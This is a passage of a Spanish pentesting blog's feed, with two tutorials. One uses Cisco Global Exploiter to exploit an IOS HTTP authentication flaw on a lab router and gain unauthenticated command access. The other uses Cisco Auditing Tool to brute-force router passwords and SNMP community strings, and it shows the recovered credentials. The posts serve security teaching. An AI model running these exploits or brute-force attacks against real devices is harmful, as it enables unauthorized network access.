&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/yxZuUzafink" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/2027969104317660737/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=2027969104317660737" title="3 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/2027969104317660737?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/2027969104317660737?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/yxZuUzafink/vector-de-ataque-web-con-social.html" title="Vector de Ataque Web con Social-Engineer Toolkit (SET)" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-ydSHCQ5DFPU/TuMIU8EjvnI/AAAAAAAABaw/fFDDRntEIBA/s72-c/Social_Engineer_Toolkit.png" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/12/vector-de-ataque-web-con-social.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EGSHs8eCp7ImA9WhRQEEo.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-6508854465789062506</id><published>2011-12-05T01:33:00.008-06:00</published><updated>2011-12-05T01:53:49.570-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-05T01:53:49.570-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Cisco IOS" /><category scheme="http://www.blogger.com/atom/ns#" term="Network Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Cisco Router" /><title>Cisco Global Exploiter</title><content type="html">&lt;div style="text-align: justify;"&gt;Cisco Global Exploiter (CGE) es un pequeño script hecho en Perl que combina 14 vulnerabilidades individuales que pueden ser contrastadas con los dispositivos Cisco. Es importante señalar que estas vulnerabilidades representan a sólo un conjunto específico de los equipos Cisco y esta pequeña herramienta no está completamente diseñada para realizar una evaluación de todas las necesidades de seguridad de estos equipos.&lt;br /&gt;&lt;br /&gt;Para abrir Cisco Global Exploiter lo podemos hacer desde la terminal.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;cd /pentest/cisco/cisco-global-exploiter/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./cge.pl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Usage :&lt;br /&gt;perl cge.pl &lt;target&gt; &lt;vulnerability number=""&gt;&lt;br /&gt;&lt;br /&gt;Vulnerabilities list :&lt;br /&gt;[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability&lt;br /&gt;[2] - Cisco IOS Router Denial of Service Vulnerability&lt;br /&gt;[3] - Cisco IOS HTTP Auth Vulnerability&lt;br /&gt;[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability&lt;br /&gt;[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability&lt;br /&gt;[6] - Cisco 675 Web Administration Denial of Service Vulnerability&lt;br /&gt;[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability&lt;br /&gt;[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability&lt;br /&gt;[9] - Cisco 514 UDP Flood Denial of Service Vulnerability&lt;br /&gt;[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability&lt;br /&gt;[11] - Cisco Catalyst Memory Leak Vulnerability&lt;br /&gt;[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability&lt;br /&gt;[13] - 0 Encoding IDS Bypass Vulnerability (UTF)&lt;br /&gt;[14] - Cisco IOS HTTP Denial of Service Vulnerability&lt;/span&gt;&lt;br /&gt;root@delfi:/pentest/cisco/cisco-global-exploiter#&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-TSQ-Divr9aI/Ttx0qMUA9PI/AAAAAAAABaA/_j1Ye5YPt8w/s1600/cisco-global-exploiter.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 304px;" src="http://3.bp.blogspot.com/-TSQ-Divr9aI/Ttx0qMUA9PI/AAAAAAAABaA/_j1Ye5YPt8w/s400/cisco-global-exploiter.png" alt="" id="BLOGGER_PHOTO_ID_5682545098043225330" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Opciones Cisco Global Exploiter.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En la imagen anterior se muestran las opciones y las instrucciones de uso de esta mini herramienta, también muestra una lista de 14 vulnerabilidades en un orden definido. De la lista de vulnerabilidades tomaremos un ejemplo para realizar una prueba contra un equipos cisco modelo 2600, así que lanzamos la prueba desde consola con el siguiente comando.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;root@delfi:/pentest/cisco/cisco-global-exploiter# ./cge.pl 192.168.1.75 3&lt;br /&gt;Vulnerability unsuccessful exploited ...&lt;br /&gt;&lt;br /&gt;Vulnerability successful exploited with [http://192.168.1.75/level/18/exec/....]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-60FUqHgbWio/Ttx0zvqe81I/AAAAAAAABaM/DtcQJ9nXJBg/s1600/cisco-global-exploiter2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 137px;" src="http://3.bp.blogspot.com/-60FUqHgbWio/Ttx0zvqe81I/AAAAAAAABaM/DtcQJ9nXJBg/s400/cisco-global-exploiter2.png" alt="" id="BLOGGER_PHOTO_ID_5682545262151529298" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Vulnerability Successful Exploited.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En este caso, la prueba se ha realizado utilizando la opción&lt;span style="font-style: italic;"&gt; [3] - Cisco IOS HTTP Auth Vulnerability&lt;/span&gt; y como podemos ver la vulnerabilidad ha sido explotada con éxito.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-l7OvRet1qPQ/Ttx1B2ap8II/AAAAAAAABaY/H0vntJiV6YY/s1600/router_backtrack.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 373px;" src="http://3.bp.blogspot.com/-l7OvRet1qPQ/Ttx1B2ap8II/AAAAAAAABaY/H0vntJiV6YY/s400/router_backtrack.jpg" alt="" id="BLOGGER_PHOTO_ID_5682545504482357378" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Acceso al Router 2600 de nombre R2_WAN.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ahora desde el explorador podemos ejecutar comandos del router sin ningún tipo de autenticación.&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-RKktmUW3zIY/Ttx1MTl2fbI/AAAAAAAABak/XhA14itsH5U/s1600/Router_Accesing2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 351px;" src="http://2.bp.blogspot.com/-RKktmUW3zIY/Ttx1MTl2fbI/AAAAAAAABak/XhA14itsH5U/s400/Router_Accesing2.png" alt="" id="BLOGGER_PHOTO_ID_5682545684112637362" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-6508854465789062506?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=JbsTGTqR04c:f0qlaV7MkJA:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=JbsTGTqR04c:f0qlaV7MkJA:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=JbsTGTqR04c:f0qlaV7MkJA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=JbsTGTqR04c:f0qlaV7MkJA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=JbsTGTqR04c:f0qlaV7MkJA:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=JbsTGTqR04c:f0qlaV7MkJA:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=JbsTGTqR04c:f0qlaV7MkJA:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/JbsTGTqR04c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/6508854465789062506/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=6508854465789062506" title="2 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/6508854465789062506?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/6508854465789062506?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/JbsTGTqR04c/cisco-global-exploiter.html" title="Cisco Global Exploiter" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-TSQ-Divr9aI/Ttx0qMUA9PI/AAAAAAAABaA/_j1Ye5YPt8w/s72-c/cisco-global-exploiter.png" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/12/cisco-global-exploiter.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUEEQnYycSp7ImA9WhRRGUU.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-2088043488850120916</id><published>2011-12-04T02:13:00.011-06:00</published><updated>2011-12-04T02:33:23.899-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-04T02:33:23.899-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="BackTrack" /><category scheme="http://www.blogger.com/atom/ns#" term="Password Cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="Network Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Cisco Router" /><title>Password Brute Force con Cisco Auditing Tool</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Cisco Auditing Tool&lt;/span&gt; (CAT) es una mini herramienta de auditoría de seguridad. Analiza las vulnerabilidades mas comunes de los routers Cisco, como las contraseñas por defecto, las cadenas de comunidad SNMP y algunos de los antiguos errores del IOS. Incluye tambien soporte para demás plugins y el escaneo de múltiples hosts.&lt;br /&gt;&lt;br /&gt;En BackTrack para iniciar la herramienta Cisco Auditing Tool nos vamos al menú &lt;span style="font-weight: bold; font-style: italic;"&gt;Aplications&lt;/span&gt; - &lt;span style="font-weight: bold; font-style: italic;"&gt;BackTrack&lt;/span&gt; - &lt;span style="font-weight: bold; font-style: italic;"&gt;Vulnerability Assessment&lt;/span&gt; - &lt;span style="font-weight: bold; font-style: italic;"&gt;Network Assessment&lt;/span&gt; - &lt;span style="font-weight: bold; font-style: italic;"&gt;Cisco Tools&lt;/span&gt;. Una vez que la ventana de la consola se haya cargado correctamente, podremos mirar todas las opciones posibles que podemos utilizar en contra del nuestro objetivo.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-Q160hkE8N1Q/TtssKNDeD_I/AAAAAAAABZc/mZpClpSGDY4/s1600/cisco-auditing-tool.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://4.bp.blogspot.com/-Q160hkE8N1Q/TtssKNDeD_I/AAAAAAAABZc/mZpClpSGDY4/s400/cisco-auditing-tool.jpg" alt="" id="BLOGGER_PHOTO_ID_5682183908672540658" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Cisco Auditing Tool en BackTrack.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En caso de que decidamos utilizar la herramienta directamente desde la terminal, lo podemos realzar de la siguiente manera.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;cd /pentest/cisco/cisco-auditing-tool/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./CAT --help&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y lo anterior nos mostrara lo siguiente.&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./CAT version [unknown] calling Getopt::Std::getopts (version 1.06 [paranoid]),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;running under Perl version 5.10.1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Usage: CAT [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The following single-character options are accepted:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;With arguments: -h -f -p -w -a -l&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Boolean (without arguments): -i -q&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Options may be merged together.  -- stops processing of options.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Space is not required between options and their arguments.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[Now continuing due to backward compatibility and excessive paranoia.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;See ``perldoc Getopt::Std'' about $Getopt::Std::STANDARD_HELP_VERSION.]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Cisco Auditing Tool - g0ne [null0]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Usage:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;-h hostname (for scanning single hosts)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;-f hostfile (for scanning multiple hosts)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;-p port # (default port is 23)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;-w wordlist (wordlist for community name guessing)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;-a passlist (wordlist for password guessing)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;-i [ioshist] (Check for IOS History bug)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;-l logfile (file to log to, default screen)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;-q quiet mode (no screen output)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;root@delfi:/pentest/cisco/cisco-auditing-tool#&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-T6G4GVfPkdM/TtssUrlF5_I/AAAAAAAABZo/hauHZW3iOJw/s1600/cisco_auditing.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 282px;" src="http://1.bp.blogspot.com/-T6G4GVfPkdM/TtssUrlF5_I/AAAAAAAABZo/hauHZW3iOJw/s400/cisco_auditing.png" alt="" id="BLOGGER_PHOTO_ID_5682184088665319410" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Cisco Auditing Tool.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Estas son las opciones y descripciones sobre el uso de CAT. Vamos a ejecutar las siguientes opciones en contra de nuestro objetivo, un dispositivo Cisco (2600).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-h hostname (for scanning single hosts)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-w wordlist (wordlist for community name guessing)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-a passlist (wordlist for password guessing)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Esta combinación de fuerza bruta y escaneo del dispositivo cisco es para averiguar cualquier contraseña conocida y los nombres de las comunidades SNMP. Antes de realizar la prueba, tenemos que actualizar también la lista de las contraseñas y community strings de SNMP en la ruta pentest/cisco/cisco-auditing-tool/lists con el fin de obtener una mayor probabilidad de éxito. Bueno vamos a realizarlo de la siguiente manera.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;root@delfi:/pentest/cisco/cisco-auditing-tool# ./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1&lt;br /&gt;Unknown option: 1&lt;br /&gt;&lt;br /&gt;Cisco Auditing Tool - g0ne [null0]&lt;br /&gt;&lt;br /&gt;Checking Host: 192.168.1.102&lt;br /&gt;&lt;br /&gt;Guessing passwords:&lt;br /&gt;&lt;br /&gt;Invalid Password: list&lt;br /&gt;Invalid Password: cisco1&lt;br /&gt;Invalid Password: cisco&lt;br /&gt;Invalid Password: passwordvty&lt;br /&gt;Password Found: p4sswordvty&lt;br /&gt;Invalid Password: ciscos&lt;br /&gt;Invalid Password: public&lt;br /&gt;Invalid Password: private&lt;br /&gt;Invalid Password: admin&lt;br /&gt;Invalid Password: cisco_comu&lt;br /&gt;Invalid Password: cisco1&lt;br /&gt;Invalid Password: cisco2&lt;br /&gt;Invalid Password: router&lt;br /&gt;Invalid Password: routercisco&lt;br /&gt;Invalid Password: secret&lt;br /&gt;Invalid Password: Cisco&lt;br /&gt;Invalid Password: telnet&lt;br /&gt;Invalid Password: 123456&lt;br /&gt;Invalid Password: default&lt;br /&gt;Invalid Password: nicolay&lt;br /&gt;Invalid Password: router1&lt;br /&gt;Invalid Password:&lt;br /&gt;&lt;br /&gt;Guessing Community Names:&lt;br /&gt;&lt;br /&gt;Invalid Community Name: list&lt;br /&gt;Community Name Found: public&lt;br /&gt;Community Name Found: private&lt;br /&gt;Invalid Community Name: cisco&lt;br /&gt;Invalid Community Name: cisco1&lt;br /&gt;Community Name Found: ciscos&lt;br /&gt;Invalid Community Name: default&lt;br /&gt;Invalid Community Name: Cisco&lt;br /&gt;Community Name Found: cisco_comu&lt;br /&gt;Invalid Community Name: adm&lt;br /&gt;&lt;br /&gt;---------------------------------------------------&lt;br /&gt;Audit Complete&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-VHBKPksz3iw/Ttsso3IMelI/AAAAAAAABZ0/FsY_ajqhSOo/s1600/Password_Brute_Force.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 375px; height: 400px;" src="http://1.bp.blogspot.com/-VHBKPksz3iw/Ttsso3IMelI/AAAAAAAABZ0/FsY_ajqhSOo/s400/Password_Brute_Force.jpg" alt="" id="BLOGGER_PHOTO_ID_5682184435362724434" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Salida de Cisco Auditing Tool.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Para obtener mejores resultados lo recomendable es editar los archivos que se encuentran en la ruta pentest/cisco/cisco-auditing-tool/lists podemos utilizar cualquier editor de texto o el editor Vim para agregar mas palabras a los archivos y así obtener unos mejores resultados de salida.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-2088043488850120916?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=XtGEImIIKdk:wJO49rLcZ_0:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=XtGEImIIKdk:wJO49rLcZ_0:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=XtGEImIIKdk:wJO49rLcZ_0:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=XtGEImIIKdk:wJO49rLcZ_0:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=XtGEImIIKdk:wJO49rLcZ_0:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a 